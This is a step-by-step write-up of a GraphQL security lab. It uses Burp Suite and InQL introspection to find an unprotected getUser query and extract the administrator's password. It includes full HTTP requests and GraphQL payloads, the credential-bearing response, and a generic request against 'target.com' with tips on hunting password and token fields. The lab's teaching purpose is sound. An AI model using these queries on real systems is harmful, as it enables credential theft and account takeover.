GraphQL Lab 2 - Finding Admin Password
A step-by-step guide to extract admin credentials using GraphQL introspection.
A step-by-step guide to extract admin credentials using GraphQL introspection.
Lab Overview#
Goal: Find the administrator's password using GraphQL vulnerabilities.
Target: Login page with GraphQL API endpoint.
Step 1: Find GraphQL Endpoint#
Login to the site#
First, we access the login page and try to login.
Intercept the request#
- Open Burp Suite
- Turn on Intercept
- Try to login with any credentials
- Capture the request
Found endpoint:#
POST /graphql/v1The request looks like this:#
POST /graphql/v1 HTTP/2
Host: 0a5e00e80411199c81f02a46005d00dd.web-security-academy.net
Content-Type: application/json
Content-Length: 229
{"query":"\n mutation login($input: LoginInput!) {\n login(input: $input) {\n token\n success\n }\n }","operationName":"login","variables":{"input":{"username":"popo","password":"popo"}}}Step 2: Send to Repeater#
- Right-click on the request
- Click "Send to Repeater"
- Go to the Repeater tab
Now we can test different queries!
Step 3: Copy Target URL#
Copy the full URL:
https://0a5e00e80411199c81f02a46005d00dd.web-security-academy.net/graphql/v1We'll need this for InQL Scanner.
Step 4: Install InQL Extension#
In Burp Suite:#
- Go to Extensions tab
- Click BApp Store
- Search for "InQL"
- Click Install
What is InQL?#
InQL is a Burp extension that:
- Automatically runs introspection
- Shows all queries and mutations
- Makes GraphQL testing easy
Step 5: Scan with InQL#
Open InQL Scanner:#
- Go to InQL tab in Burp
- Click Scanner
- Paste the URL:
text
https://0a5e00e80411199c81f02a46005d00dd.web-security-academy.net/graphql/v1 - Click Scan
What InQL finds:#
InQL will show you:
- All available Queries
- All available Mutations
- All Types and their fields
Step 6: Analyze the Results#
In the InQL results, we find:#
Queries section:
├── getAllBlogPosts
├── getBlogPost
└── getUser ← This looks interesting!Mutations section:
├── changeEmail
└── loginClick on getUser query:#
InQL shows us the structure:
query getUser {
getUser(id: Int!) {
id
password
username
}
}Important fields found:#
id- User IDusername- Usernamepassword- Password (!)
Step 7: Try the Query#
Copy the query from InQL:#
query getUser {
getUser(id: Int!) {
id
password
username
}
}Modify it to test ID = 1:#
query getUser {
getUser(id: 1) {
id
password
username
}
}Why ID = 1?#
Usually, the first user created is the administrator.
Step 8: First Attempt (Error)#
Send the request in Repeater:#
{
"query": "query getUser { getUser(id: 1) { id password username } }"
}We get an error:#
{
"errors": [
{
"locations": [],
"message": "Unknown operation named 'login'."
}
]
}What's wrong?#
The original request had "operationName":"login" in it. This is causing confusion.
Step 9: Fix the Query#
The problem:#
Our request still has old data from the login mutation.
The solution:#
We need to add an operation name to our query!
Change from:#
query getUser {
getUser(id: 1) {
id
password
username
}
}To:#
query login {
getUser(id: 1) {
id
password
username
}
}Why "login"?#
We named our operation "login" to match the operationName field in the request.
Step 10: Final Request#
Complete request body:#
{
"query": "query login { getUser(id: 1) { id password username } }",
"operationName": "login"
}Send it!#
Step 11: Success! 🎉#
Response:#
{
"data": {
"getUser": {
"id": 1,
"password": "0q6m897fbgqn6rn4fvnq",
"username": "administrator"
}
}
}We got the admin credentials!#
- Username:
administrator - Password:
0q6m897fbgqn6rn4fvnq
Step 12: Login as Admin#
- Go to the login page
- Enter:
- Username:
administrator - Password:
0q6m897fbgqn6rn4fvnq
- Username:
- Click Login
Lab solved! ✅#
What We Learned#
Vulnerability Found:#
Information Disclosure + Missing Authorization
The API returns sensitive data (passwords) without checking if we have permission to see it.
Why it worked:#
- Introspection was enabled - We could see the schema
- No authorization check - Anyone can query user data
- Sensitive fields exposed - Password field is accessible
- Predictable IDs - We guessed admin has ID = 1
Key Concepts#
Operation Name#
{
"query": "query login { ... }",
"operationName": "login"
}query login= the operation name in the query"operationName": "login"= must match!
Query Structure#
query operationName {
queryName(argument: value) {
field1
field2
}
}operationName= name of this operationqueryName= the actual query to runargument: value= parameters we passfield1, field2= data we want back
Tools Used#
Burp Suite#
For intercepting and modifying requests.
InQL Scanner#
Burp extension for GraphQL introspection analysis.
Attack Steps Summary#
1. Find GraphQL endpoint (/graphql/v1)
2. Send request to Repeater
3. Install InQL extension
4. Scan endpoint with InQL
5. Find getUser query in results
6. See it returns id, username, password
7. Test with ID = 1 (likely admin)
8. Fix operation name error
9. Get admin password
10. Login as administratorCommon Mistakes#
❌ Wrong:#
query getUser {
getUser(id: 1) { ... }
}With "operationName": "login" → Error!
✅ Correct:#
query login {
getUser(id: 1) { ... }
}With "operationName": "login" → Works!
Tips#
- Always check what operation name the original request uses
- Try ID = 1 first (usually admin)
- Look for fields named: password, token, secret, key
- Use InQL to save time instead of manual introspection
- If you get "Unknown operation" error, check operation names match
Full Request Example#
POST /graphql/v1 HTTP/2
Host: target.com
Content-Type: application/json
{
"query": "query login { getUser(id: 1) { id password username } }",
"operationName": "login"
}**Happy Hunting!